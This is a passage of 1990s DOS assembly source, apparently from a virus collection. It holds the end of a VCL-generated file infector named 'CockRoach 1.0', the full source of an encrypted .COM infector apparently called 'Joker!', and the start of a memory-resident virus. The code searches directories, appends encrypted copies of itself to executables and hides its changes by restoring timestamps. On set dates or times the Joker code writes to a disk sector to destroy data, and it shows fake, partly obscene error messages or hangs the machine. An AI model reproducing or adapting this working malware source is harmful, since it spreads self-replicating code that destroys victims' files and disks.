  3613.         call    find_files        ; Try to infect an .EXE file
  3614.         jnc    done_searching        ; If successful the exit
  3615.         jmp    short traversal_loop    ; Keep checking the PATH
  3616.  
  3617. done_searching:    mov    ah,03Bh            ; DOS change directory function
  3618.         lea    dx,[bp - 135]        ; DX points to old directory
  3619.         int    021h
  3620.  
  3621.         cmp    word ptr [path_ad],0    ; Did we run out of directories?
  3622.         jne    at_least_tried        ; If not then exit
  3623.         stc                ; Set the carry flag for failure
  3624. at_least_tried:    mov    sp,bp            ; Restore old stack pointer
  3625.         pop    bp            ; Restore BP
  3626.         ret                ; Return to caller
  3627. com_mask    db    "*.COM",0        ; Mask for all .COM files
  3628. exe_mask    db    "*.EXE",0        ; Mask for all .EXE files
  3629. search_files    endp
  3630.  
  3631. traverse_path    proc    near
  3632.         mov    es,word ptr cs:[002Ch]    ; ES holds the enviroment segment
  3633.         xor    di,di            ; DI holds the starting offset
  3634.  
  3635. find_path:    mov    si,offset path_string    ; SI points to "PATH="
  3636.         lodsb                ; Load the "P" into AL
  3637.         mov    cx,08000h        ; Check the first 32767 bytes
  3638.     repne    scasb                ; Search until the byte is found
  3639.         mov    cx,4            ; Check the next four bytes
  3640. check_next_4:    lodsb                ; Load the next letter of "PATH="
  3641.         scasb                ; Compare it to the environment
  3642.         jne    find_path        ; If there not equal try again
  3643.         loop    check_next_4        ; Otherwise keep checking
  3644.  
  3645.         mov    word ptr [path_ad],di    ; Save the PATH address for later
  3646.         mov    word ptr [path_ad + 2],es  ; Save PATH's segment for later
  3647.         ret                ; Return to caller
  3648.  
  3649. path_string    db    "PATH="            ; The PATH string to search for
  3650. path_ad        dd    ?            ; Holds the PATH's address
  3651. traverse_path    endp
  3652.  
  3653. found_subdir    proc    near
  3654.         lds    si,dword ptr [path_ad]    ; DS:SI points to the PATH
  3655.         lea    di,[bp - 70]        ; DI points to the work buffer
  3656.         push    cs            ; Transfer CS into ES for
  3657.         pop    es            ; byte transfer
  3658. move_subdir:    lodsb                ; Load the next byte into AL
  3659.         cmp    al,';'            ; Have we reached a separator?
  3660.         je    moved_one        ; If so we're done copying
  3661.         or    al,al            ; Are we finished with the PATH?
  3662.         je    moved_last_one        ; If so get out of here
  3663.         stosb                ; Store the byte at ES:DI
  3664.         jmp    short move_subdir    ; Keep transfering characters
  3665.  
  3666. moved_last_one:    xor    si,si            ; Zero SI to signal completion
  3667. moved_one:    mov    word ptr es:[path_ad],si; Store SI in the path address
  3668.         ret                ; Return to caller
  3669. found_subdir    endp
  3670.  
  3671.         db    010h,08Eh,0B5h,016h,002h
  3672.  
  3673.  
  3674. find_files    proc    near
  3675.         push    bp            ; Save BP
  3676.  
  3677.         mov    ah,02Fh            ; DOS get DTA function
  3678.         int    021h
  3679.         push    bx            ; Save old DTA address
  3680.  
  3681.         mov    bp,sp            ; BP points to local buffer
  3682.         sub    sp,128            ; Allocate 128 bytes on stack
  3683.  
  3684.         push    dx            ; Save file mask
  3685.         mov    ah,01Ah            ; DOS set DTA function
  3686.         lea    dx,[bp - 128]        ; DX points to buffer
  3687.         int    021h
  3688.  
  3689.         mov    ah,04Eh            ; DOS find first file function
  3690.         mov    cx,00100111b        ; CX holds all file attributes
  3691.         pop    dx            ; Restore file mask
  3692. find_a_file:    int    021h
  3693.         jc    done_finding        ; Exit if no files found
  3694.         call    infect_file        ; Infect the file!
  3695.         jnc    done_finding        ; Exit if no error
  3696.         mov    ah,04Fh            ; DOS find next file function
  3697.         jmp    short find_a_file    ; Try finding another file
  3698.  
  3699. done_finding:    mov    sp,bp            ; Restore old stack frame
  3700.         mov    ah,01Ah            ; DOS set DTA function
  3701.         pop    dx            ; Retrieve old DTA address
  3702.         int    021h
  3703.  
  3704.         pop    bp            ; Restore BP
  3705.         ret                ; Return to caller
  3706. find_files    endp
  3707.  
  3708.         db    0FDh,052h,0B3h,06Ah,08Ch
  3709.  
  3710. infect_file    proc    near
  3711.         mov    ah,02Fh            ; DOS get DTA address function
  3712.         int    021h
  3713.         mov    si,bx            ; SI points to the DTA
  3714.  
  3715.         mov    byte ptr [set_carry],0    ; Assume we'll fail
  3716.  
  3717.         cmp    word ptr [si + 01Ch],0    ; Is the file > 65535 bytes?
  3718.         jne    infection_done        ; If it is then exit
  3719.  
  3720.         cmp    word ptr [si + 025h],'DN'  ; Might this be COMMAND.COM?
  3721.         je    infection_done        ; If it is then skip it
  3722.  
  3723.         cmp    word ptr [si + 01Ah],(finish - start)
  3724.         jb    infection_done        ; If it's too small then exit
  3725.  
  3726.         mov    ax,03D00h        ; DOS open file function, r/o
  3727.         lea    dx,[si + 01Eh]        ; DX points to file name
  3728.         int    021h
  3729.         xchg    bx,ax            ; BX holds file handle
  3730.  
  3731.         mov    ah,03Fh            ; DOS read from file function
  3732.         mov    cx,4            ; CX holds bytes to read (4)
  3733.         mov    dx,offset buffer    ; DX points to buffer
  3734.         int    021h
  3735.  
  3736.         mov    ah,03Eh            ; DOS close file function
  3737.         int    021h
  3738.  
  3739.         push    si            ; Save DTA address before compare
  3740.         mov    si,offset buffer    ; SI points to comparison buffer
  3741.         mov    di,offset flag        ; DI points to virus flag
  3742.         mov    cx,4            ; CX holds number of bytes (4)
  3743.     rep    cmpsb                ; Compare the first four bytes
  3744.         pop    si            ; Restore DTA address
  3745.         je    infection_done        ; If equal then exit
  3746.         mov    byte ptr [set_carry],1    ; Success -- the file is OK
  3747.  
  3748.         mov    ax,04301h        ; DOS set file attrib. function
  3749.         xor    cx,cx            ; Clear all attributes
  3750.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  3751.         int    021h
  3752.  
  3753.         mov    ax,03D02h        ; DOS open file function, r/w
  3754.         int    021h
  3755.         xchg    bx,ax            ; BX holds file handle
  3756.  
  3757.         push    si            ; Save SI through call
  3758.         call    encrypt_code        ; Write an encrypted copy
  3759.         pop    si            ; Restore SI
  3760.  
  3761.         mov    ax,05701h        ; DOS set file time function
  3762.         mov    cx,[si + 016h]        ; CX holds old file time
  3763.         mov    dx,[si + 018h]        ; DX holds old file date
  3764.         int    021h
  3765.  
  3766.         mov    ah,03Eh            ; DOS close file function
  3767.         int    021h
  3768.  
  3769.         mov    ax,04301h        ; DOS set file attrib. function
  3770.         xor    ch,ch            ; Clear CH for file attribute
  3771.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  3772.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  3773.         int    021h
  3774.  
  3775. infection_done:    cmp    byte ptr [set_carry],1    ; Set carry flag if failed
  3776.         ret                ; Return to caller
  3777.  
  3778. buffer        db    4 dup (?)        ; Buffer to hold test data
  3779. set_carry    db    ?            ; Set-carry-on-exit flag
  3780. infect_file    endp
  3781.  
  3782.  
  3783. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  3784.  
  3785.  
  3786. note        db    "CockRoach 1.0 Virus"
  3787.         db    "By Anonymous Caller"
  3788.         db    "[LegenD] Systems 1992!"
  3789.  
  3790. encrypt_code    proc    near
  3791.         mov    si,offset encrypt_decrypt; SI points to cipher routine
  3792.  
  3793.         xor    ah,ah            ; BIOS get time function
  3794.         int    01Ah
  3795.         mov    word ptr [si + 8],dx    ; Low word of timer is new key
  3796.  
  3797.         xor    byte ptr [si],1        ;
  3798.         xor    byte ptr [si + 7],1    ; Change all SIs to DIs
  3799.         xor    word ptr [si + 10],0101h; (and vice-versa)
  3800.  
  3801.         mov    di,offset finish    ; Copy routine into heap
  3802.         mov    cx,finish - encrypt_decrypt - 1  ; All but final RET
  3803.         push    si            ; Save SI for later
  3804.         push    cx            ; Save CX for later
  3805.     rep    movsb                ; Copy the bytes
  3806.  
  3807.         mov    si,offset write_stuff    ; SI points to write stuff
  3808.         mov    cx,5            ; CX holds length of write
  3809.     rep    movsb                ; Copy the bytes
  3810.  
  3811.         pop    cx            ; Restore CX
  3812.         pop    si            ; Restore SI
  3813.         inc    cx            ; Copy the RET also this time
  3814.     rep    movsb                ; Copy the routine again
  3815.  
  3816.         mov    ah,040h            ; DOS write to file function
  3817.         mov    dx,offset start        ; DX points to virus
  3818.  
  3819.         call    finish            ; Encrypt/write/decrypt
  3820.  
  3821.         ret                ; Return to caller
  3822.  
  3823. write_stuff:    mov    cx,finish - start    ; Length of code
  3824.         int    021h
  3825. encrypt_code    endp
  3826.  
  3827. end_of_code    label    near
  3828.  
  3829. encrypt_decrypt    proc    near
  3830.         mov    si,offset start_of_code ; SI points to code to decrypt
  3831.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  3832. xor_loop:    db    081h,034h,00h,00h    ; XOR a word by the key
  3833.         inc    si            ; Do the next word
  3834.         inc    si            ;
  3835.         loop    xor_loop        ; Loop until we're through
  3836.         ret                ; Return to caller
  3837. encrypt_decrypt    endp
  3838. finish        label    near
  3839.  
  3840. code        ends
  3841.         end    main
  3842.  
  3843. done
  3844.  
  3845. code segment                        word public 'code'
  3846.                             assume cs:code,ds:code
  3847.                             org    100h
  3848. main proc;edure
  3849.  
  3850.  
  3851. ;EQUates...
  3852.     idc        equ    69h        ;ID character - (note: 69)
  3853.     cr        equ    13        ;ASCII for carriage return
  3854.     lf        equ    10        ;ASCII for line feed
  3855.  
  3856. ;End codes.  These determine what happens after the string is displayed.
  3857.  
  3858.     terminate    equ    0    ;Terminate program after display
  3859.     halt        equ    1    ;Cause the system to hang after display
  3860.     SimulateCritErr    equ    2    ;Simulate the critical error handler
  3861.     return2host    equ    3    ;Resume program immediately
  3862.     FlashFloppy    equ    4    ;Wait for a key, then reset Drive A:
  3863.     WaitKey        equ    5    ;Wait for a key, then resume program
  3864.     PauseKey    equ    6    ;Same thing, but uses a pause message
  3865.     StackError    equ    7    ;Cause a stack overflow (halts system)
  3866.  
  3867.  
  3868.  
  3869. tof:                            ;Top-Of-File
  3870.         jmp    begin                ;Skip over program
  3871. idchar:        db    idc                ;ID character
  3872.  
  3873. HostProgram:    nop                    ;First run copy only!
  3874.         nop                    ;First run copy only!
  3875.  
  3876. first_four:    nop                    ;First run copy only!
  3877. address:    int    20h                ;First run copy only!
  3878. check:        nop                    ;First run copy only!
  3879.  
  3880. begin:        call    nextline            ;Push IP+3 onto stack
  3881. nextline:    pop    bp                ;mov    bp,ip
  3882.         sub    bp,offset nextline        ;bp=disp. for mem locs
  3883.  
  3884.         push    ax                ;Save AX
  3885.         call    cryptor                ;Decrypt
  3886.         jmp    short retloc            ;Continue program
  3887.  
  3888. cryptor:    mov    al,[bp+offset encrypt_val]    ;encrypt val
  3889.         lea    si,[bp+offset toec]        ;Top Of Encrypted Code
  3890.         mov    cx,offset eoec-offset toec    ;Length of  "      "
  3891. cryptorloop:    xor    [si],al                ;en/de crypt
  3892.         rol    al,cl                ;change code #
  3893.         inc    si                ;Next char please!
  3894.         loop    cryptorloop            ;loop if necessary
  3895.         ret                    ;Return to caller
  3896.         
  3897. infect:        call    cryptor                ;Encrypt code
  3898.         pop    cx                ;Restore CX for INT 21
  3899.         int    21h                ;Call DOS
  3900.         call    cryptor                ;Decrypt code
  3901.         ret                    ;Go back
  3902.  
  3903. toec:;───────────────────────────────────────────────────Top Of Encrypted Code
  3904. InfectIt:    push    cx                ;Save CX for sub
  3905.         jmp    infect
  3906.  
  3907. retloc:        pop    ax                ;Restore AX
  3908.         xor    di,di                ;DI = 0
  3909.  
  3910.         cli                    ;Disable interrupts
  3911.         mov    ss,di                ;Set up stack at:
  3912.         mov    sp,2F0h                ;   0000:02F0
  3913.         sti                    ;Enable interrupts
  3914.  
  3915.         mov    si,96h                ;Vector for INT 24h
  3916.         mov    bx,ss:[si]            ;BX = offset in segment
  3917.         mov    cx,ss:[si+2]            ;CX = segment
  3918.         lea    dx,[bp+offset int24handler]    ;CS:DX -} local handler
  3919.         mov    ss:[si],DX            ;Save offset
  3920.         mov    ss:[si+2],cs            ;Save segment
  3921.         mov    si,es:[di+2F8h]            ;Check operation mode
  3922.         cmp    si,4643h            ;'CF' if already TSRed
  3923.         jne    GoOn                ;Nope, jmp
  3924.         jmp    return                ;Yes, don't do anything
  3925.  
  3926. GoOn:        mov    cs:[di+4Ch],bx            ;use unused part of PSP
  3927.         mov    cs:[di+4Eh],cx            ; to save BX and CX
  3928.         push    cs                ;Copy CS ...
  3929.         pop    es                ; ... to DS
  3930.  
  3931.         mov    byte ptr [bp+offset infected],0    ;Reset infection count
  3932.         mov    byte ptr [bp+offset max2kill],3 ;Stop after 3 or less
  3933.  
  3934. GoOn2:        lea    si,[bp+offset first_four]    ;Original first 4 bytes
  3935.         mov    di,offset tof            ;TOF never changes
  3936.         cld                    ;Read left-to-right
  3937.         movsw                    ;Copy the 4 bytes
  3938.         movsw                    ;Copy the 4 bytes
  3939.  
  3940.         mov    ah,1Ah                ;Set DTA address ...
  3941.         lea    dx,[bp+offset DTA]        ; ... to *our* DTA
  3942.         int    21h                ;Call DOS to set DTA
  3943.  
  3944.         mov    ah,4Eh                ;Find First ASCIIZ
  3945.         lea    dx,[bp+offset filespec]        ;DS:DX -} '*.COM',0
  3946.         lea    si,[bp+offset filename]        ;Point to file
  3947.         push    dx                ;Save DX
  3948.         jmp    short continue            ;Continue...
  3949.  
  3950. return:        mov    ah,1ah                ;Set DTA address ...
  3951.         mov    dx,80h                ; ... to default DTA
  3952.         int    21h                ;Call DOS to set DTA
  3953.         xor    di,di                ;DI= 0
  3954.         mov    es,di                ;ES= 0
  3955.         mov    si,96h                ;Vector for INT 24h
  3956.         mov    bx, cs:[di+4Ch]            ;Restore from saved BX
  3957.         mov    word ptr es:[si+0], bx        ;Place back into vector
  3958.         mov    cx, cs:[di+4Eh]            ;Restore from saved CX
  3959.         mov    word ptr es:[si+2], cx        ;Place back into vector
  3960.         push    cs                ;Move CS ...
  3961.         pop    es                ; ... to ES
  3962.  
  3963.         mov    ax,[bp+offset SavedAX]        ;Restore AX
  3964.         xor    bx,bx                ;BX= 0
  3965.         mov    cx,bx                ;CX= 0
  3966.         mov    dx,cx                ;DX= 0
  3967.         mov    si,dx                ;SI= 0
  3968.         mov    di,si                ;DI= 0
  3969.         mov    sp,0FFFEh            ;SP= FFFEh (normal)
  3970.         mov    bp,100h                ;BP= 100h (RETurn addr)
  3971.         push    bp                ; Put on stack
  3972.         mov    bp,ax                ;BP= 0
  3973.         ret                    ;JMP to 100h
  3974.  
  3975. nextfile:    or    bx,bx                ;Did we open the file?
  3976.         jz    skipclose            ;No, so don't close it
  3977.         mov    ah,3Eh                ;Close file
  3978.         int    21h                ;Call DOS to close it
  3979.         xor    bx,bx                ;Set BX back to 0
  3980. skipclose:    mov    ah,4Fh                ;Find Next ASCIIZ
  3981.  
  3982. continue:    pop    dx                ;Restore DX
  3983.         push    dx                ;Re-save DX
  3984.         xor    cx,cx                ;CX= 0
  3985.         xor    bx,bx
  3986.         int    21h                ;Find First/Next
  3987.         jnc    skipjmp
  3988.         jmp    NoneLeft            ;Out of files
  3989.  
  3990. skipjmp:    mov    ax,3D02h            ;open file
  3991.         mov    dx,si                ;point to filespec
  3992.         int    21h                ;Call DOS to open file
  3993.         jc    nextfile            ;Next file if error
  3994.  
  3995.         mov    bx,ax                ;get the handle
  3996.         mov    ah,3Fh                ;Read from file
  3997.         mov    cx,4                ;Read 4 bytes
  3998.         lea    dx,[bp+offset first_four]    ;Read in the first 4
  3999.         int    21h                ;Call DOS to read
  4000.  
  4001.         cmp    byte ptr [bp+offset check],idc    ;Already infected?
  4002.         je    nextfile            ;Yep, try again ...
  4003. ;NOTE: Delete the two lines above if you want it to re-infected programs.
  4004.  
  4005.         cmp    byte ptr [bp+offset first_four],77  ;Mis-named .EXE?
  4006.         je    nextfile            ;Yep, maybe next time!
  4007.  
  4008.         mov    ax,4202h            ;LSeek to EOF
  4009.         xor    cx,cx                ;CX= 0
  4010.         xor    dx,dx                ;DX= 0
  4011.         int    21h                ;Call DOS to LSeek
  4012.  
  4013.         cmp    ah,0F8h                ;Longer than 62K?
  4014.         ja    nextfile            ;Yep, try again...
  4015.         mov    [bp+offset addr],ax        ;Save call location
  4016.  
  4017.         mov    ah,40h                ;Write to file
  4018.         mov    cx,4                ;Write 4 bytes
  4019.         lea    dx,[bp+offset first_four]    ;Point to buffer
  4020.         int    21h                ;Save the first 4 bytes
  4021.  
  4022.         mov    ah,[bp+offset encrypt_val]    ;Get code number
  4023.         inc    ah                ;add 1
  4024.         adc    ah,0                ;increment if it's zero
  4025.         mov    [bp+offset encrypt_val],ah    ;Save new code number
  4026.  
  4027.         mov    ah,40h                ;Write to file
  4028.         mov    cx,offset eof-offset begin    ;Length of target code
  4029.         lea    dx,[bp+offset begin]        ;Point to virus start
  4030.         call    InfectIt            ;Exempt from encryption
  4031. ComeBackHere:    mov    ax,4200h            ;LSeek to TOF
  4032.         xor    cx,cx                ;CX= 0
  4033.         xor    dx,dx                ;DX= 0
  4034.         int    21h                ;Call DOS to LSeek
  4035.  
  4036.         mov    ax,[bp+offset addr]        ;Retrieve location
  4037.         inc    ax                ;Adjust location
  4038.  
  4039.         mov    [bp+offset address],ax        ;address to call
  4040.         mov    byte ptr [bp+offset first_four],0E9h  ;JMP rel16 inst.
  4041.         mov    byte ptr [bp+offset check],idc    ;EOFMARK
  4042.  
  4043.         mov    ah,40h                ;Write to file
  4044.         mov    cx,4                ;Write 4 bytes
  4045.         lea    dx,[bp+offset first_four]    ;4 bytes are at [DX]
  4046.         int    21h                ;Write to file
  4047.  
  4048.         inc    byte ptr [bp+offset infected]    ;increment counter
  4049.         dec    byte ptr [bp+offset max2kill]    ;decrement counter
  4050.         jz    TheEnd                ;If 0 then End
  4051.  
  4052.         inc    byte ptr [bp+offset encrypt_val]    ;change code #
  4053.         adc    byte ptr [bp+offset encrypt_val],0    ;adjust if 0
  4054.         jmp    nextfile                ;Next victim!
  4055.  
  4056. NoneLeft:    cmp    byte ptr [bp+offset infected],3    ;At least 3 infected?
  4057.         jae    TheEnd                ;The party's over!
  4058.  
  4059.         mov    di,100h                ;DI= 100h
  4060.         cmp    word ptr [di],20CDh        ;an INT 20h?
  4061.         je    TheEnd                ;Don't go to prev. dir.
  4062.  
  4063.         lea    dx,[bp+offset prevdir]        ;'..'
  4064.         mov    ah,3Bh                ;Set current directory
  4065.         int    21h                ;CHDIR ..
  4066.         jc    TheEnd                ;We're through!
  4067.         mov    ah,4Eh
  4068.         jmp    continue            ;Start over in new dir
  4069.  
  4070. TheEnd:        xor    di,di                ;DI= 0
  4071.         mov    es,di                ;ES= 0
  4072.         mov    ah,2ah                ;Get date
  4073.         int    21h                ;Do it
  4074.         cmp    dl,4                ;4th of the month?
  4075.         jne    test2                ;Nope, second test
  4076.         cmp    dh,7                ;July?
  4077.         jne    test2                ;Nope, second test
  4078.         xor    ax,ax                ;Sector 0
  4079.         jmp    Kill                ;Kill the disk now...
  4080.  
  4081. test2:        mov    ah,2ch                ;Get time
  4082.         int    21h                ;Do it
  4083.         or    cl,cl                ;On the hour? (x:00 xM)
  4084.         jnz    GiveUp                ;Return to program
  4085.         cmp    ch,6                ;Midnight to 5 AM ???
  4086.         jnl    GiveUp                ;Return to program
  4087.         add    cl,ch                ;Add first number
  4088.         mov    ax,cx                ;Transfer to AX
  4089.         cbw                    ;Zero out AH
  4090.         add    al,dh                ;Add DL to AL
  4091.         adc    al,dl                ;Add DL and carry flag
  4092.         adc    ah,0                ;Add carry to AH
  4093.         or    ax,ax                ;AX = 0 ???
  4094.         jnz    Kill                ;Kill the disk now...
  4095.         inc    ax                ;Well, adjust first...
  4096.  
  4097. Kill:        mov    dx,ax                ;Sector number
  4098.         mov    cx,1                ;One at a time....
  4099.         xor    bx,bx                ;Point at PSP
  4100.         mov    ah,19h                ;Get current disk
  4101.         int    21h                ;Call DOS to ^
  4102.         int    26h                ;Now kill the disk
  4103.         
  4104. GiveUp:        mov    bx,offset message_table        ;point to table
  4105.  
  4106.         mov    ah,2ch                ;Get time
  4107.         int    21h                ;Call DOS to ^
  4108.         inc    dh                ;(0-59)
  4109.  
  4110. timeloop:    cmp    dh,msgs                ;mapped yet?
  4111.         jl    timedone            ;Yes, jump
  4112.         sub    dh,msgs                ;try to map it
  4113.         jmp    short timeloop            ;and check out work
  4114.  
  4115. timedone:    mov    al,dh                ;AL gets msg #
  4116.         mov    cl,al                ;Save in CL for CritErr
  4117.         cbw                    ;AH gets 0
  4118.         shl    ax,1                ;AX = AX * 2
  4119.         add    bx,ax                ;BX = index
  4120.         mov    si,[bx]                ;SI points to string
  4121.         mov    ch,[si-1]            ;CH is technique #
  4122.         mov    dx,si                ;DX points to string
  4123.  
  4124.         mov    ah,9                ;Display string
  4125.         int    21h                ;Call DOS to ^
  4126.  
  4127.         cmp    ch,terminate            ;Terminate program?
  4128.         je    TerminateProg            ;Nope, next test
  4129.  
  4130.         cmp    ch,halt                ;Halt program?
  4131.         je    $                ;Hang system if ch=halt
  4132.  
  4133.         cmp    ch,SimulateCritErr        ;Simulate CritErr?
  4134.         je    simulate            ;yes, go do it
  4135.  
  4136.         cmp    ch,Return2host            ;Return to host?
  4137.         je    ResumeProgram            ;yes, go do it
  4138.  
  4139.         cmp    ch,FlashFloppy            ;Flash drive A:?
  4140.         je    FlashFlop            ;Yes, go do it
  4141.  
  4142.         cmp    ch,WaitKey            ;Wait for keypress?
  4143.         je    zwait                ;Yes, go do it
  4144.  
  4145.         cmp    ch,PauseKey            ;Pause message w/ wait?
  4146.         je    zpause                ;Yes, go do it
  4147.  
  4148.         cmp    ch,StackError            ;Stack overflow?
  4149.         je    StackErr            ;Yes, go do it
  4150.  
  4151.     ;Invalid code, assume Return2host
  4152.  
  4153. ResumeProgram:    jmp    return                ;Return to caller
  4154. StackErr:    call    $                ;Cause stack overflow
  4155. TerminateProg:    int    20h                ;Yep, all done!
  4156.  
  4157. simulate:    lea    dx,[bp+offset ARIFmsg]        ;Abort, Retry ...
  4158.         mov    ah,9                ;Print string
  4159.         int    21h                ;Call DOS to ^
  4160.  
  4161.         mov    ah,1                ;Input a char
  4162.         int    21h                ;Call DOS to ^
  4163.  
  4164.         lea    dx,[bp+offset crlf]        ;crlf
  4165.         mov    ah,9                ;Print string
  4166.         int    21h                ;Call DOS to ^
  4167.  
  4168.         cmp    al,'a'                ;Uppercase?
  4169.         jb    uppercase            ;Nope, jump
  4170.         sub    al,' '                ;Yes, make uppercase
  4171.  
  4172. uppercase:    cmp    al,'A'                ;Abort?
  4173.         je    terminateprog            ;Yep, go do it.
  4174.  
  4175.         cmp    al,'R'                ;Retry?
  4176.         jne    zskip                ;skip over "retry" code
  4177.  
  4178.         lea    dx,[bp+offset crlf]        ;Point to crlf
  4179.         mov    ah,9                ;Print string
  4180.         int    21h                ;Call DOS to ^
  4181.         mov    dh,cl                ;Restore DH from CL
  4182.         jmp    timedone            ;Reprint error
  4183.  
  4184. zskip:        cmp    al,'I'                ;Ignore?
  4185.         je    ResumeProgram            ;Return to host program
  4186.         cmp    al,'F'                ;Fail?
  4187.         jne    simulate            ;Invalid response
  4188.  
  4189.         lea    dx,[bp+offset fail24]        ;Point to fail string
  4190.         mov    ah,9                ;Print string
  4191.         int    21h                ;Call DOS to ^
  4192.         int    20h                ;Terminate program
  4193.  
  4194. FlashFlop:    mov    ah,1                ;Wait for keypress
  4195.         int    21h                ;Call DOS to ^
  4196.  
  4197.         xor    ax,ax                ;Drive A:
  4198.         mov    cx,1                ;Read 1 sector
  4199.         mov    dx,ax                ;Start at boot sector
  4200.         lea    bx,[bp+offset boot_sector]    ;BX points to buffer
  4201.         int    25h                ;Flash light on A:
  4202.         jmp    short ResumeProgram        ;Resume if no error
  4203.  
  4204. zpause:        lea    dx,[bp+offset pause]        ;Point to pause message
  4205.         mov    ah,9                ;Print string
  4206.         int    21h                ;Call DOS to ^
  4207. zwait:
  4208.         mov    ah,1                ;Wait for keypress
  4209.         int    21h                ;Call DOS to ^
  4210.         jmp    short ResumeProgram        ;Go on...
  4211.  
  4212.  
  4213.  
  4214.  
  4215.  
  4216. ARIFmsg    db    cr,lf,'Abort, Retry, Ignore, Fail?$'
  4217. fail24    db    cr,lf,cr,lf,'Fail on INT 24'
  4218. crlf    db    cr,lf,'$'
  4219.  
  4220. message_table:
  4221.     dw    offset msg1
  4222.     dw    offset msg2
  4223.     dw    offset msg3
  4224.     dw    offset msg4
  4225.     dw    offset msg5
  4226.     dw    offset msg6
  4227.     dw    offset msg7
  4228.     dw    offset msg8
  4229.     dw    offset msg9
  4230.     dw    offset msg10
  4231.     dw    offset msg11
  4232.     dw    offset msg12
  4233.     dw    offset msg13
  4234.     dw    offset msg14
  4235.     dw    offset msg15
  4236.     dw    offset msg16
  4237.     dw    offset msg17
  4238.     dw    offset msg18
  4239.     dw    offset msg19
  4240.     dw    offset msg20
  4241.  
  4242. msgs    db    20
  4243.     db    FlashFloppy    ;Waits for key, then flashes drive A:
  4244. msg5    db    'I',39,'m hungry!  Insert PIZZA & BEER into drive A: and',cr,lf
  4245. pause    db    'Strike any key when ready... $'
  4246.  
  4247.     db    SimulateCritErr    ;Prints ARIF message and responds appropriately
  4248. msg1    db    'Impotence error reading user',39,'s dick$'
  4249.  
  4250.     db    terminate    ;Ends the program immediately
  4251. msg2    db    'Program too big to fit in memory',cr,lf,'$'
  4252.  
  4253.     db    halt        ;Halts the system
  4254. msg3    db    'Cannot load COMMAND, system halted',cr,lf,'$'
  4255.  
  4256.     db    terminate    ;Ends the program immediately
  4257. msg4    db    'I',39,'m sorry, Dave.... but I',39,'m afraid'
  4258.         db    ' I can',39,'t do that!',cr,lf,'$'
  4259.  
  4260.     db    WaitKey        ;Waits for a keypress, then runs the program
  4261. msg6    db    'Format another? (Y/N)? $'
  4262.  
  4263.     db    StackError    ;Generates a stack overflow (halts the system)
  4264. msg7    db    'Damn it!  I told you not to touch that!$'
  4265.  
  4266.     db    terminate    ;Ends the program immediately
  4267. msg8    db    'Suck me!',cr,lf,'$'
  4268.  
  4269.     db    SimulateCritErr    ;Prints ARIF message and responds appropriately
  4270. msg9    db    'Cocksucker At Keyboard error reading device CON:$'
  4271.  
  4272.     db    terminate    ;Ends the program immediately
  4273. msg10    db    7,cr,cr,cr,7,cr,cr,cr,7,cr,cr,cr,lf
  4274.     db    'I',39,'m sorry, but your call cannot be completed as dialed.'
  4275.     db    cr,lf,'Please hang up & try your call again.',cr,lf,'$'
  4276.  
  4277.     db    terminate    ;Ends the program immediately
  4278. msg11    db    'No!',cr,lf,cr,lf,'$'
  4279.  
  4280.     db    halt        ;Halts the system
  4281. msg12    db    'Panic kernal mode interrupt$'
  4282.  
  4283.     db    WaitKey        ;Waits for a keypress, then runs the program
  4284. msg13    db    'CONNECT 1200½',cr,lf,cr,lf,'$'
  4285.  
  4286.     db    return2host    ;Runs host program immediately
  4287. msg14    db    'Okay, okay!  Be patient! ...',cr,lf,'$'
  4288.  
  4289.     db    terminate    ;Ends the program immediately
  4290. msg15    db    'And if I refuse?',cr,lf,'$'
  4291.  
  4292.     db    return2host    ;Runs host program immediately
  4293. msg16    db    'Fuck the world and its followers!',cr,lf,'$'
  4294.  
  4295.     db    return2host    ;Runs host program immediately
  4296. msg17    db    'You are pathetic, man... you know that?',cr,lf,'$'
  4297.  
  4298.     db    terminate    ;Ends the program immediately
  4299. msg18    db    'Cum on!  Talk DIRTY to me !!!',cr,lf,'$'
  4300.  
  4301.     db    terminate    ;Ends the program immediately
  4302. msg19    db    'Your coprocessor wears floppy disks!',cr,lf,'$'
  4303.  
  4304.     db    PauseKey    ;Waits for keypress (SAKWR), then runs host prg
  4305. msg20    db    'Joker! ver αα by TBSI!',cr,lf
  4306.     db    'Remember!  EVERYTHING',39,'s bigger in Texas!',cr,lf,'$'
  4307.  
  4308. int24handler:    xor    al,al                ;Ignore the error
  4309.         iret                    ;Interrupt return
  4310.  
  4311.  
  4312. filespec:    db    '*.COM',0            ;File specification
  4313. prevdir:    db    '..',0                ;previous directory
  4314. max2kill    db    3                ;max. files to infect
  4315.  
  4316. eoec:;───────────────────────────────────────────────────End Of Encrypted Code
  4317. VersionNumber    dw    100h                ;Version 1.00
  4318. encrypt_val    db    0                ;1st-run copy only
  4319.  
  4320. ; None of this information is included in the virus's code.  It is only used
  4321. ; during the search/infect routines and it is not necessary to preserve it
  4322. ; in between calls to them.
  4323.  
  4324. eof:
  4325. DTA:
  4326.  
  4327.         db    21 dup (?)            ;internal search's data
  4328. attribute    db    ?                ;attribute
  4329. file_time    db    2 dup (?)            ;file's time stamp
  4330. file_date    db    2 dup (?)            ;file's date stamp
  4331. file_size    db    4 dup (?)            ;file's size
  4332. filename    db    13 dup (?)            ;filename
  4333.  
  4334. SavedAX        dw    ?                ;Used to save AX
  4335. infected    db    ?                ;infection count
  4336. addr        dw    ?                ;Address
  4337.  
  4338. boot_sector:
  4339.  
  4340.                             main endp;rocedure
  4341.                             code ends;egment
  4342.  
  4343.                         end main
  4344.  
  4345. done
  4346.  
  4347. code        segment    byte public
  4348.         assume    cs:code, ds:code, es:code, ss:code
  4349.   
  4350.   
  4351.         org    100h
  4352.   
  4353.   
  4354. codebeg:
  4355.   
  4356.  
  4357.         mov    ax,043FFh        ; Remove virus from code!
  4358.         int    21h
  4359.  
  4360. ; Let's allocate some mem!
  4361.  
  4362.         mov    ax,ds
  4363.         sub    ax,11h
  4364.         mov    ds,ax
  4365.         cmp    byte ptr ds:[0100h],5Ah
  4366.         jnz    skip
  4367.         mov    ax,ds:[0103h]
  4368.         sub    ax,40h
  4369.         jb    skip
  4370.         mov    ds:[0103h],ax
  4371.         sub    word ptr ds:[0112h],50h
  4372.         mov    es,ds:[0112h]
  4373.         push    cs
  4374.         pop    ds
  4375.         mov    cx,code_end-codebeg
  4376.         mov    di,100h
  4377.         push    di
  4378.         mov    si,di
  4379.         rep    movsb
  4380.  
  4381.         push     es
  4382.         pop    ds
